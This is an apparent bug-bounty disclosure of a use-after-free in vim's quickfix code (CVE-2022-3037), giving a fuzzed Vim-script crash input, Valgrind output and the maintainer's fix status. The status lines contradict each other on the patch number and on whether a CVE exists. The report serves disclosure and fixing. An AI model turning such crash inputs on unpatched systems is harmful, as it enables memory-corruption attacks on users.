Use After Free in Function qf_buf_add_line( ) in vim/vim

0

Valid Reported on Aug 28th 2022

Description

Hello there! How are you doing?

I just used the PoC of this previous report as a valid input for fuzzing, and ended up finding what it seems to be a new case of Use After Free, with a slightly different input. The last commit in which I tested it was `35a4fbc5d04820d9b08e7da2e295a7e8210e2e2c` (patch 9.0.0296).

Used Input

```
com-=* Xg <mods>cgete<args>
fu s:Tqf0unc0(o)
Xg'0'
endf
cope
let&quickfixtextfunc='s:Tqf0unc0'
cg:[ex""
```

Valgrind Output

```
==29015== Memcheck, a memory error detector
==29015== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==29015== Using Valgrind-3.16.1 and LibVEX; rerun with -h for copyright inf
==29015== Command: ./vim -X -Z -e -s -S test -c :qa!
==29015==
==29015== Invalid read of size 8
==29015==    at 0x26EC90: qf_buf_add_line (quickfix.c:4609)
==29015==    by 0x26EC90: qf_fill_buffer (quickfix.c:4806)
==29015==    by 0x270317: qf_update_buffer (quickfix.c:4570)
==29015==    by 0x271647: qf_init_ext (quickfix.c:1820)
```

```
==29015==    by 0x2743C5: qf_init (quickfix.c:1849)
==29015==    by 0x276797: ex_cfile (quickfix.c:5832)
==29015==    by 0x1C3E7C: do_one_cmd (ex_docmd.c:2568)

==29015==    by 0x1C3E7C: do_cmdline (ex_docmd.c:990)
==29015==    by 0x2B28D9: do_source_ext (scriptfile.c:1664)
==29015==    by 0x2B48F3: do_source (scriptfile.c:1808)
==29015==    by 0x2B48F3: cmd_source (scriptfile.c:1163)
==29015==    by 0x2B48F3: ex_source (scriptfile.c:1189)
==29015==    by 0x1C3E7C: do_one_cmd (ex_docmd.c:2568)
==29015==    by 0x1C3E7C: do_cmdline (ex_docmd.c:990)
==29015==    by 0x388F8D: exe_commands (main.c:3133)
==29015==    by 0x388F8D: vim_main2 (main.c:780)
==29015==    by 0x4A2BD09: (below main) (libc-start.c:308)
==29015==  Address 0x30 is not stack'd, malloc'd or (recently) free'd
==29015==
==29015==
==29015== Process terminating with default action of signal 11 (SIGSEGV)
==29015==    at 0x4A41087: kill (syscall-template.S:120)
==29015==    by 0x25DD5F: may_core_dump (os_unix.c:3519)
==29015==    by 0x25DD5F: may_core_dump (os_unix.c:3514)
==29015==    by 0x25DD5F: mch_exit (os_unix.c:3485)
==29015==    by 0x4A40D5F: ??? (in /lib/x86_64-linux-gnu/libc-2.31.so)
==29015==    by 0x26EC8F: qf_buf_add_line (quickfix.c:4665)
==29015==    by 0x26EC8F: qf_fill_buffer (quickfix.c:4806)
==29015==    by 0x270317: qf_update_buffer (quickfix.c:4570)
==29015==    by 0x271647: qf_init_ext (quickfix.c:1820)
==29015==    by 0x2743C5: qf_init (quickfix.c:1849)
==29015==    by 0x276797: ex_cfile (quickfix.c:5832)
==29015==    by 0x1C3E7C: do_one_cmd (ex_docmd.c:2568)
==29015==    by 0x1C3E7C: do_cmdline (ex_docmd.c:990)
==29015==    by 0x2B28D9: do_source_ext (scriptfile.c:1664)
==29015==    by 0x2B48F3: do_source (scriptfile.c:1808)
==29015==    by 0x2B48F3: cmd_source (scriptfile.c:1163)
==29015==    by 0x2B48F3: ex_source (scriptfile.c:1189)
==29015==    by 0x1C3E7C: do_one_cmd (ex_docmd.c:2568)
==29015==    by 0x1C3E7C: do_cmdline (ex_docmd.c:990)
==29015==
==29015== HEAP SUMMARY:
==29015==     in use at exit: 182,942 bytes in 625 blocks
==29015==   total heap usage: 2,360 allocs, 1,735 frees, 2,890,274 bytes al
```

```
==29015==
==29015== LEAK SUMMARY:
==29015==    definitely lost: 4,105 bytes in 4 blocks

==29015==    indirectly lost: 0 bytes in 0 blocks
==29015==      possibly lost: 1,965 bytes in 47 blocks
==29015==    still reachable: 176,872 bytes in 574 blocks
==29015==         suppressed: 0 bytes in 0 blocks
==29015== Rerun with --leak-check=full to see details of leaked memory
==29015==
==29015== For lists of detected and suppressed errors, rerun with: -s
==29015== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
Segmentation fault
```

Impact

It may cause memory corruption, that can lead to a crash or other undefined (potentially exploitable) behaviour.

CVE
CVE-2022-3037
(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.8)

Registry
Other

Affected Version
9.0.0296

Visibility
Public

Status
Fixed

Found by

Breno Vitório

@breno

legend

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 837 times.

We are processing your report and will contact the **vim** team within 24 hours. 3 months ago

Breno Vitório modified the report 3 months ago

We have contacted a member of the **vim** team and are waiting to hear back 3 months ago

Bram Moolenaar validated this vulnerability 3 months ago

I can reproduce it. The POC can be simplified a bit more.

Breno Vitório has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Bram Moolenaar 3 months ago Maintainer

Fixed with patch 9.0.0322

Bram Moolenaar marked this as fixed in **9.0.0321** with commit **4f1b08** 3 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Sign in to join this conversation

Chat with us